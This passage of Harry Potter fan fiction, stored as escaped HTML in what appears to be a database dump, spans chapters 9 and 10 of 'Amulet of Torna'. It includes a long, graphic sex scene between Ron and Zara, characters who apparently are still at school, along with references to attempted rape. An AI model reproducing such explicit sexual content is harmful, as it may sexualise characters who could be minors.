both boys were engaged in a fist fight.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny and Zara had to pull the boys apart, which was very hard considering both boys were determined to kill one another.&nbsp; Once the boys were separated Zara pushed Ron down the sidewalk away from the other two,&nbsp; Ginny doing the same but in the opposite direction.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron, you shouldn&#8217;t let him get to you like that.&nbsp; Whatever he said, it was only because he knew he would be able to get a rise out of you.&nbsp; And guess what?&nbsp;&nbsp; He did.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know.&#8221; Ron was breathing hard.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What did he say?&nbsp; I couldn&#8217;t hear it.&#8221; Zara noticed a small bruise forming on his cheek.&nbsp; Malfoy was a lousy fighter; he&#8217;d barely gotten one punch in. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It was about Harry and Hermione, mostly.&#8221;&nbsp; Ron kept his eyes on the sidewalk as they walked back to the hotel.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Amelia waited in an office.&nbsp; Her legs shook.&nbsp;&nbsp; She remembered what Nilrem had said about two worlds, the Wizarding World and the Muggle World.&nbsp; She wasn&#8217;t sure she could handle it.&nbsp;&nbsp; Her cousin was a witch, and she was dating a wizard?&nbsp; Amelia rested her face in her hands.&nbsp; This was too much for her to grasp right now.&nbsp;&nbsp; She needed to escape, get out of here.&nbsp;&nbsp; The window!&nbsp;&nbsp; She could escape that way.</p>\n\n<p>&nbsp;</p>\n\n<p>She scooted the chair back slightly, standing as the door to the office opened.&nbsp; In walked Arthur Weasley and Mavis Granger, whom she called grandmother, although Mavis wasn&#8217;t related to her by blood.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Thinking of running away Amelia?&#8221; Mavis said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How did you&#8230; I just wanted to get some air.&#8221; Amelia corrected herself quickly.</p>\n\n<p>&nbsp;</p>\n\n<p>Arthur sat down behind the desk as Mavis sat down in the chair next to her granddaughter in law. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I can understand how confused you are Amelia.&#8221;&nbsp; Mavis took Amelia&#8217;s hand.</p>\n\n<p>&nbsp;</p>\n\n<p>Amelia quickly pulled her hand away.&nbsp; &#8220;How&#8217;s Carlo?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He&#8217;ll live,&#8221; said Arthur.&nbsp; &#8220;We had to put him in hospital due to the beatings, and they have to check him out for the use of unforgivable curses.&#8221;&nbsp; He noticed that Amelia looked confused at what he was saying.&nbsp; &#8220;There are types of curses that are illegal to use.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You people have laws and rules; you mean people can&#8217;t go around cursing each other?&#8221; Amelia looked down at her boots.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course we have laws and rules; it&#8217;s a society much like yours, except for the magic.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I didn&#8217;t like what I saw today.&nbsp; I hate knowing about this secret world of yours.&nbsp; It&#8217;s horrible.&#8221; Amelia had tears in her eyes as she looked up at Arthur. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re just worried about Hermione.&#8221; Mavis was calm and leaned back in the chair.&nbsp; &#8220;You just need some rest.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Amelia turned her teary gaze to Mavis.&#8220;No, that&#8217;s not the only thing.&nbsp; I saw people hurting others.&nbsp; I saw some nasty man do something to Carlo to make him hurt himself really badly.&nbsp; You have no idea what I saw, you have no idea what I went through today, having to see that and not be able to do anything about it!&nbsp;&nbsp; So don&#8217;t you sit there and lecture me about how I am feeling.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;d be surprised at what I have seen Amelia,&#8221; Mavis said, trying not to sound angry.&nbsp; Mavis took a breath, &#8220;I have seen horrors your mind couldn&#8217;t even comprehend.&#8221;&nbsp; She could tell that Amelia didn&#8217;t really understand.&nbsp; &#8220;Darling, what I do is not pretty work; it&#8217;s not safe.&nbsp; It is very dangerous.&nbsp; I could be killed for what I am doing.&#8221;&nbsp; Mavis turned towards the window, a far off look in her eyes.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron entered the hotel room and threw himself restlessly on the bed.&nbsp; &#8220;Stupid Malfoy,&#8221;&nbsp; he muttered to himself.&nbsp;&nbsp; Ron didn&#8217;t really want to think much about Malfoy.&nbsp; Right now, he wanted to go to sleep, but he couldn&#8217;t.&nbsp; Why was he worrying like this?&nbsp; What was the matter with him?&nbsp; It had been four days since he last rested.&nbsp; He looked up at the ceiling.&nbsp; The fan whirred gently.&nbsp; Restlessly, Ron lifted his arm and slung it across his eyes, trying to block out the afternoon sun.</p>\n\n<p>&nbsp;</p>\n\n<p>The minutes seemed to pass like hours; Ron tossed and turned repeatedly.&nbsp;&nbsp; There was a light knock from the adjoining door.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Come in.&#8221; Ron said, tiredly.</p>\n\n<p>&nbsp;</p>\n\n<p>The adjoining door opened quietly, and a pair of dark green painted fingernails appeared, followed by Zara&#8217;s head.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey, I was just checking on you.&#8221; She smiled.&nbsp; &#8220;If there&#8217;s anything you need, don&#8217;t be afraid to ask.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Ron liked seeing this side of her.&nbsp; It was one she showed to very few people.&nbsp; To others, Zara was cold, unfeeling and tough.&nbsp;&nbsp; But not to Ron.&nbsp; To him she was sweet, thoughtful and caring.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I could use some company,&#8221; Ron said.</p>\n\n<p>&nbsp;</p>\n\n<p>Without hesitation, Zara made her way over to Ron&#8217;s bedside and sat down next to him.&nbsp; She stretched her legs and shifted her body so that she was lying on her side facing him.&nbsp;&nbsp; Ron reached out and pulled her closer.&nbsp; He breathed in her faint jasmine scent.&nbsp;&nbsp; He could stay this way forever.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I am glad you&#8217;re here with me, Zara.&nbsp; I don&#8217;t know what I would do without you.&#8221; His voice was soft and low.</p>\n\n<p>&nbsp;</p>\n\n<p>Zara kissed the top of his head.&nbsp; She wondered if he was this way with his friends.&nbsp; She didn&#8217;t think he would let anyone see this vulnerability.&nbsp;&nbsp; From what she had learned about Ron over the past year, he was loud and quick tempered, something that she found very challenging.&nbsp; She had never met anyone quite like him before.</p>\n\n<p>&nbsp;</p>\n\n<p>But did she dare think there was something more to this? Would she dare to let herself feel something for him?&nbsp; For this crazy British clown. &nbsp;Zara smiled at that thought.&nbsp; Feelings were something she was never very good at, always expecting the absolute worst of people.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Zara lowered her head a bit so she could see his face.&nbsp; His eyes were closed, but she could tell he wasn&#8217;t asleep yet.&nbsp; She seemed to be memorizing him.&nbsp; His eyes opened, meeting hers, and he felt short of breath. </p>\n\n<p>&nbsp;</p>\n\n<p>For the first time in Zara&#8217;s life , she blushed.&nbsp; Why was she behaving like a silly little girl?&nbsp; This wasn&#8217;t the first time she had shared a bed with Ron.&nbsp; Why was her heart beating almost uncontrollably?&nbsp; It seemed to slam against her chest as if trying to escape.&nbsp;&nbsp; Her eyes remained fixed on his.&nbsp; Those deep ocean blue pools mesmerized her.&nbsp; She didn&#8217;t even notice his fingers come up and gently trace her cheek.&nbsp; Zara inhaled sharply, feeling his fingertips travel over her face.&nbsp; He gently caressed her lips, as if he had never kissed a girl before and was learning his way.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco held a cloth to his bleeding nose, grumbling.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Let me see,&#8221; said Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>She pulled the cloth away from his face.&nbsp; &#8220;I can&#8217;t believe he punched you like that.&nbsp; He said he wouldn&#8217;t anymore.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So much for his promises, huh?&#8221; Draco said sniffling, &#8220;Owww!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>He knew why Weasley had attacked him, but it was worth it.&nbsp; On the outside appeared to be in pain; on the inside he was snickering, wishing he had the chance to do it all over again.&nbsp; The look on Weasley&#8217;s face had been priceless.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What did you say to him anyway?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s not important.&#8221; Draco knew what she was after.&nbsp; &#8220;Just the usual &#8216;stay away from my sister&#8217;.&nbsp; You know how it goes.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Damn him,&#8221; said Ginny, scowling.&nbsp; &#8220;I&#8217;ll have a thing or two to say to him, later.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny, just ignore him.&nbsp; Face it.&nbsp; Your brother will never change.&nbsp; I don&#8217;t expect him to and neither should you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But&#8212;&#8221; Ginny was cut off as Draco put a finger to her lips.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No buts, Ginny.&nbsp; That&#8217;s just the way he is.&#8221;&nbsp; Draco sighed.&nbsp; &#8220;He was angry about the necklace.&nbsp; That&#8217;s what started the fight.&#8221; He lied.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny nodded, &#8220;It was awfully expensive, and I did try to talk you out of it.&#8221; She smiled.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny, my dear, you deserve the best.&nbsp; That&#8217;s exactly what you&#8217;re going to get from me.&#8221; Draco grinned, and then winced. &#8220;Owww.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny wished she could heal his nose, but they were forbidden to perform magic outside of school, which meant Draco would have to wait until it healed normally or they found an adult who knew medicine.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco looked at her.&nbsp; Could he trust her?&nbsp; He was going to risk it. &#8220;Ginny, I want to take you some place very special.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Where is it?&#8221; Ginny was curious.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;ll see, just come with me.&#8221;&nbsp; Draco quickly took her hand in his and they continued on down the sidewalk.&nbsp; He turned down a darkened alley and brought her over to a rather old looking door and knocked three times.&nbsp; A little iron flap moved to the side and a pair of eyes looked out at them.&nbsp; Ginny felt a cold chill run up her back and she shivered.&nbsp; A strange feeling came over her as she looked back into those eyes.&nbsp; They seemed to reach into her very soul.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What do you kids want?&#8221; It surprised Ginny that when the man spoke it wasn&#8217;t in Italian but in English.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m Draco Malfoy.&nbsp; Let me in now,&#8221; Draco demanded.</p>\n\n<p>&nbsp;</p>\n\n<p>The flap was immediately shut and the sounds of locks were heard.&nbsp; The door opened slowly.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny clung to Draco&#8217;s arm. &#8220;Where are we?&#8221; She was scared.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A library.&#8221; Draco patted her arm, trying to make her feel more at ease.</p>\n\n<p>&nbsp;</p>\n\n<p>She shook her head. &#8220;Why would I want to come to a library?&nbsp; I&#8217;m not Hermione, you know.&nbsp; I find no joy in this.&#8221;&nbsp; Ginny glanced timidly around the room.&nbsp; There seemed to be only men there and they looked like a bunch of ex-convicts.&nbsp; The dark menacing figures seemed to leer at her.&nbsp; One man with greasy, unwashed hair and missing teeth gave her a lecherous stare, his eyes fixing on her hips before traveling up to her breasts.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey!&#8221; Draco shouted, &#8220;This is my woman, keep your eyes off or I&#8217;ll burn them out.&#8221; He sneered.&nbsp;&nbsp; Ginny would have spoken up about that, but she didn&#8217;t think it was the right time to remind him that she belonged to no one.&nbsp;&nbsp; She kept her comments to herself.</p>\n\n<p>&nbsp;</p>\n\n<p>The slimy man reluctantly moved away and looked down at his book, and Draco turned to Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He won&#8217;t bother you again.&#8221; Draco led her over to a book shelf.&nbsp; &#8220;So what do you think?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of what, this place?&#8221;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s creepy and I don&#8217;t exactly feel comfortable in here.&nbsp; What kind of a library is this anyway?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A library for only the most powerful,&#8221; Draco whispered. &#8220;Those who want to achieve ultimate power come in here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny was wide eyed. &#8220;You mean for&#8230;&#8221; She gulped. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes Ginny, for the Dark Arts.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron didn&#8217;t say anything.&nbsp; He just smiled before leaning toward her and lightly touching his lips to hers.&nbsp;&nbsp; The smallest contact had Zara&#8217;s heart leaping as his hand came up and gently caressed the side of her breast. A low moan escaped from her throat as his thumb brushed over her nipple, making her involuntarily arch her back.</p>\n\n<p>&nbsp;</p>\n\n<p>Zara loved it when they started out slow. She buried the fingers of her right hand in his hair, while her left moved down over his chest. His muscles contracted as she slid her palm up under his shirt.</p>\n\n<p>&nbsp;</p>\n\n<p>It was Ron\'s turn to moan now.&nbsp; He kissed her harder, their responses to each other growing faster and more frenzied.&nbsp; His hand moved lightly caressing her hip through her black shorts, and she rewarded him with a soft sigh.&nbsp; His fingers went to the button on her shorts and expertly popped it open.&nbsp;&nbsp; Ron quickly pulled the zipper down and pushed his hand inside.&nbsp; He heard Zara gasp and he moved his lips to her neck where he started suckling the tender flesh there.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>His hand was working between her legs, rubbing against the fabric that separated him from her flesh.&nbsp; Zara cried out, loudly.&nbsp; He needed to feel her skin.&nbsp; He tugged her shorts down over her legs and dropped them over the side of the bed onto the floor.&nbsp; Her shirt followed.</p>\n\n<p>&nbsp;</p>\n\n<p>He moved over her so that he was covering her with his body.&nbsp; He kissed her deeply.&nbsp;&nbsp; One hand continued to caress her breast.&nbsp; His thumb gently grazed her erect nipple.&nbsp; Ron was breathing hard now.&nbsp; He brushed aside the triangle of satin and ran his finger over her slit, gently pushing inside.&nbsp; Her whole body seemed to tremble with the contact.&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Zara closed her eyes, savoring the glorious sensations.&nbsp; She felt Ron&#8217;s lips, mouth, moving down her neck.&nbsp; His tongue darted out tasting her skin. His hand gently covered&nbsp; her breast, his fingers tracing the sensitive tip before moving lower still.&nbsp; She writhed&nbsp; beneath him until he cupped her completely, rubbing and caressing.&nbsp; She cried out in pleasure. Encouraged by this, he circled her hard nipple with his tongue, while caressing her other breast with his hand.&nbsp;&nbsp; Her body was alive with an agonizing need to be filled completely.&nbsp; She&nbsp; whimpered as he continued to torture her in the sweetly. </p>\n\n<p>&nbsp;</p>\n\n<p>Zara\'s gripped the sheets tightly.&nbsp; Her other hand made its way down into Ron\'s trousers. She moved past his boxers and grasped him, lightly. She slid her hand up and down, and now it was Ron\'s turn to cry out.&nbsp; His mouth returned to hers; he plunged his tongue deep in her mouth.&nbsp; He felt her lips close around his tongue, sucking on it a bit and then releasing. </p>\n\n<p>&nbsp;</p>\n\n<p>His hand trembled as he brought it down between her thighs once again.&nbsp; He found her already wet.&nbsp; She was slick and warm. It was agony, torture.&nbsp; Ron wanted to take her hard and fast, right there.&nbsp; It took all of his willpower not to rush.&nbsp; To go slow.&nbsp; To make sure she was aroused and ready.</p>\n\n<p>&nbsp;</p>\n\n<p>A low growl seemed to come from within Zara as Ron pushed one finger and then another inside her, pumping them in and out in quick motions, his thumb brushing against her sensitive button.&nbsp; He moved lower, placing a kiss just below her belly button.&nbsp; She opened for him.&nbsp; Her scent was beautiful, alluring.&nbsp;&nbsp; Ron heard her gasp as he removed his fingers.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron&#8230;&#8221; She was begging, now.</p>\n\n<p>&nbsp;</p>\n\n<p>He wasted no time, pressing a soft kiss to the inside of her thigh.&nbsp; Zara whimpered and sucked in a breath as she felt him move between her legs.&nbsp; Then his lips and tongue were against her most sensitive and intimate of places.&nbsp; She moaned and her fingers buried themselves in his thick hair, grasping the back of&nbsp; his head.&nbsp; She urged his mouth down harder against her sex.&nbsp;&nbsp; Zara was moving against his mouth desperately, wanting to feel as much as possible; it was when his lips closed around her that she&nbsp; couldn&#8217;t take it anymore.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron!&#8221; Zara screamed. &#8220;Now . . .&nbsp; please&#8230; I&#8217;m going to&#8230; Uh . . . I can&#8217;t wait . . .&#8221; she panted.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;As you wish,&#8221; Ron said, his voice strained and full of desire.&nbsp; He shed his remaining clothing and settled between her thighs.&nbsp; He looked down at her face, which was sweaty and flushed.&nbsp; She was the most beautiful thing he had ever seen.&nbsp;&nbsp; He kissed her, moving his hands over her hips, and the tip of his member pressed against her opening.&nbsp;&nbsp; Lifting her up, he gripped her hips pulling her down against him as he pushed inside her in one quick motion causing her to cry out in frustration and pleasure at the sensation of it all.</p>\n\n<p>&nbsp;</p>\n\n<p>Zara clung to him, her legs wound around his hips, pulling him harder into her body, thrusting herself up against him in almost violent motions.&nbsp; Harder and faster they moved together, the erotic movements unrestrained, holding nothing back as if they intended to become one.&nbsp; They joined together so that they felt both needed and the need to please each other.&nbsp; The sensations were hot and wild, and they were drowning in the passion and pleasure of it all.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp; The way Ron plunged into her hot, tight warmth sent his body and mind soaring to a new height.&nbsp;&nbsp; He could tell she was close; she gripped him, her body gloving him completely. He let go of all sanity and gave in to his ascent to the heavens. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;Zara tightened her arms and legs around him, lifting herself off the bed, crying out against his shoulder.&nbsp;&nbsp; Ron felt her body shaking as her heart continued to beat rapidly and her stomach jumped.&nbsp; Zara saw stars.&nbsp; Something indescribable, a sensation like no other engulfed her.</p>\n\n<p>&nbsp;</p>\n\n<p>Panting hard, Ron laid her back on the bed.&nbsp; Zara was still whimpering from the extreme pleasure her body had felt.&nbsp; Her nerves were very sensitive.&nbsp; Ron did not move from his position on top of her.&nbsp; He loved the way she felt underneath him - he felt so protective of her this way.&nbsp; So long as he wasn&#8217;t crushing her, he would stay just this way.&nbsp;&nbsp; Besides, she didn&#8217;t seem to be complaining.&nbsp;&nbsp; He heard her sigh, slow and long.&nbsp; He could still hear her heart beating fast.&nbsp; He listened to its rhythmic and lulling sound as it gradually slowed down to a steady pace.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Zara?&#8221; He didn&#8217;t lift his head from her chest.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmmm?&#8221;&nbsp; She sounded very pleased.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I um&#8230;&#8221; Ron started to say.&nbsp; He was never good at admitting his feelings.&nbsp; He so wanted to say something meaningful right now, but the words weren&#8217;t forming in his brain.&nbsp; He took a deep breath, &#8220;Zara,&#8221; He lifted his head to talk to her and noticed her eyes were closed.&nbsp;&nbsp; He felt lucky he didn&#8217;t say anything more or he might have felt like a real fool talking to thin air.&nbsp; He leaned his head back down and nuzzled against her chest.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A library for the dark arts?! Have you lost your mind?!&#8221; Ginny screeched.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shhh,&#8221; Draco put his finger to her lips, &#8220;Keep your voice down.&#8221;</p>\n\n<p>Ginny turned her back on him, &#8220;I think we should leave.&#8221;&nbsp; She started to walk away but Malfoy grabbed her arm.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny wait, let me explain why I brought you here.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Something in his voice made Ginny turned around and faced him, waiting for his answer.&nbsp; &#8220;Well, what is it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Have you ever wondered what the dark arts really are?&#8221;&nbsp; He noticed the &#8216;what kind of fool do you take me for&#8217; look.&nbsp; Draco noted that she looked really cute with her hip popped out and her hand resting on it, looking much like she was about to scold him.&nbsp; &#8220;There is no such thing as light and dark magic&#8221; he continued.&nbsp; &#8220;It&#8217;s all the same.&nbsp; It just depends on if you&#8217;re strong and brave enough to use it.&#8221;&nbsp; Draco glanced around the book shelves to make sure they were alone.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I don&#8217;t understand.&#8221; Ginny leaned against the shelf.&nbsp; &#8220;What does strength and bravery have to do with anything?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;ll see in time, but right now&#8230; It is wrong to keep us sheltered from such power at school.&nbsp; Why won&#8217;t they teach us powerful magic, why do they keep everything secret?&nbsp;&nbsp; What&#8217;s the reason they don&#8217;t give us the real lessons?&#8221;&nbsp; He noticed Ginny clearly paying attention,&nbsp; &#8220;It&#8217;s because they want the power all to themselves.&nbsp; We are being divided into sections.&nbsp; I&#8217;m more than certain <i>that</i> is the reason they keep real power away from us.&#8221;&nbsp; Draco glared down at the floor.&nbsp; &#8220;It&#8217;s because they want us at a low level, so that we are at their mercy!&nbsp; We will be their slaves!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny wondered who he kept referring to as &#8221;they&#8221;.&nbsp; But she also noticed the passion and fight in his voice, and she was enthralled by it.&nbsp; Such emotion displayed for her .&nbsp;&nbsp; She wanted him to continue, and thankfully he did. Ginny listened intently.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp; &#8220;And I don&#8217;t know about you Ginny, but I don&#8217;t plan on being anyone&#8217;s slave.&nbsp; I will be the master.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Zara felt a pleasant pressure pressing against her.&nbsp; Her eyes opened and she heard the quiet breathing of Ron, who was sleeping peacefully.&nbsp; She was feeling a tad chilly, so gently, without waking him, Zara moved out from under Ron.&nbsp; He rolled over onto his side, still in his deep sleep.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Ron mumbled something about Muggle Gummi Bears,&nbsp; &#8220;Red is my favorite,&#8221; He grinned.&nbsp; &#8220;I want to cover it in chocolate, mmmm.&#8221;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>Zara smiled, and had to cover her mouth to keep from laughing out loud.&nbsp;&nbsp; She was relieved - at least he was dreaming about food.&nbsp; Zara hoped this meant he was going to be okay.&nbsp;&nbsp; After covering Ron and herself with the blankets, she snuggled close to him, pressing herself up against his back, and throwing her arm over him, across his chest.&nbsp;&nbsp; With a yawn, Zara closed her eyes again.&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Something had been bothering Amelia since Carlo and Hermione had recognized each other.&nbsp; There seemed to be some hatred there, and it was clearly bugging her.&nbsp; She remembered overhearing Arthur talking about Carlo, saying something to the effect of&nbsp; &#8216;Oh it&#8217;s you again&#8217;.&nbsp; She looked up at Arthur and Mavis.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How do you know Carlo Yuri?&#8221;&nbsp; Amelia asked, searching both their faces,&nbsp; She noticed Arthur&#8217;s face cloud with anger.&nbsp; She watched him shift about in his chair and lean forward a bit, folding his hands on the desk top.</p>\n\n<p>&nbsp;</p>\n\n<p>Arthur cleared his throat and looked right at Amelia, &#8220;He was tried not too long ago for attempted rape.&#8221;&nbsp; He looked away from her and out the window for a moment.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of who?&#8221; Amelia squeaked out, somehow already knowing the answer.&nbsp;&nbsp; She needed to hear it with her own ears.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Your cousin, Hermione.&#8221; He felt the anger all over again, thinkng of how that boy hurt his son&#8217;s friend like that.&nbsp;&nbsp; He never wanted to hurt anyone more in his life.&nbsp; Well maybe he wouldn&#8217;t mind hurting Lucius Malfoy - any punishment would be worth that.</p>\n\n<p>&nbsp;</p>\n\n<p>Amelia looked down into her lap and shook her head, &#8220;How could he do that, what was he thinking?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Apparently he wasn&#8217;t thinking.&#8221; Arthur said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Actually he was, he was just thinking with the head between his legs.&nbsp; The bastard.&#8221;&nbsp; Amelia sighed.&nbsp; Her poor cousin.&nbsp;&nbsp; What if she never saw her again?&nbsp;&nbsp; &#8220;Is Hermione going to be okay?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Mavis shook her head, &#8220;I have no idea, we just have to trust in that she and Harry can both make it back alive.&#8221;&nbsp; She saw Amelia&#8217;s deep concern, as well as the tears the dark haired girl was trying to hold back.&nbsp; &#8220;Hermione is intelligent. She&#8217;ll make it.&nbsp; You just have to keep believing and have faith in her.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And Harry too.&#8221; Amelia added.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And Harry too.&#8221;&nbsp; Mavis agreed with a smile.&nbsp; &#8220;They are both resilient and can overcome even the hardest of trials.&#8221;&nbsp; She placed a tender hand on Amelia&#8217;s shoulder and added &#8220;I am certain of it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Amelia wished with all her heart that the two of them were okay.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;How much farther to the village?&#8221; Hermione asked.</p>\n\n<p>&nbsp;</p>\n\n<p>Rosa pulled her horse to a stop and glanced around, &#8220;Not too far, just over those hills there.&#8221;&nbsp; She pointed.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&#8220;Why don&#8217;t we just kill him?&#8221; Medlina offered.&nbsp; Medina twisted her body to offer a nasty glare at Marc Antony.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That won&#8217;t solve anyone&#8217;s problems right now,&#8221; Hermione said, &#8220;And besides, what if we need him, for a sacrifice or something.&nbsp; I sure wouldn&#8217;t want to be devoured by some wild animal.&#8221; She grinned, &#8220;Well just toss this waste of flesh in the way and we&#8217;ll have a means of escape.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh that sounds like a great plan.&#8221; Antony said sarcasticly.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What, you don&#8217;t like it?&#8221; Rosa was amused, &#8220;It sounds great to me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Meldina&#8217;s ears perked, she sat up straighter and&nbsp; listened to what sounded like the wind.&nbsp;&nbsp; &#8220;Hey - did you hear that?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The other three were now doing the same thing, straining to listen to whatever could be heard.&nbsp;&nbsp; All four heard it at once. &nbsp;&nbsp;Hermione&#8217;s eyes widened at what she saw.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>==========</p>\n\n<p>&nbsp;</p>\n\n<p>Well that&#8217;s it for chapter 9.&nbsp;&nbsp; Sorry for the long length of time it took me in writing this.&nbsp; I&#8217;ll try to get the next chapter out a little quicker.&nbsp;&nbsp; so until next time&#8230;&nbsp;&nbsp;&nbsp; Stay Tuned for Chapter 10&#8212;Twins Troubles</p>\n\n<p>&nbsp;</p>\n\n<p>Remember to review,</p>\n\n<p>Thanks, Ryoko Blue</p>\n\n<p>&nbsp;</p>\n\n '),
	(43, 10, ' <p>Disclaimer: don&#8217;t own original Harry Potter characters or situations, They belong to J.K Rowlings. If I owned them, I would be sitting in Hawaii right now sipping drinks with little umbrellas in them and having hot guys serving my every need. *sigh* Oh well.&nbsp; </p>\n\n<p>Amulet of Torna</p>\n\n<p>Chapter 10&#8212;Twins&#8217; Troubles</p>\n\n<p>Hermione wasn&#8217;t sure if was just her mind playing tricks on her, but the figures on horseback heading towards her looked an awful lot like her friends back home.&nbsp; As they got closer and Hermione was able to see more clearly, she was assured that she knew at least one of them.&nbsp; She nearly couldn&#8217;t believe it, her eyes prickling with tears.&nbsp; &#8220;Harry!&#8221; she screamed and pushed Marc Antony off the horse in the process of her practically jumping from it.&nbsp; She started running back towards them, her hair flying wildly behind her.</p>\n\n<p>They reached each other in a matter of seconds; Hermione had flung herself into his arms holding onto him for dear life.&nbsp; Tears were streaming wildly down her cheeks as she held him.&nbsp; </p>\n\n<p>&#8220;Harry,&#8221; She whispered, pressing against him more.&nbsp; Hermione felt his arms tightly around her also not wanting to let her go.&nbsp; &#8220;I never thought I&#8217;d see you again.&#8221;</p>\n\n<p>Harry took a deep breath, taking in the scent that was pure Hermione.&nbsp; How he had waited for this moment, how he longed just to see her once more.&nbsp; This was the only thing he could have asked for, he was alive and with Hermione, if they were stuck back in this time for all eternity it 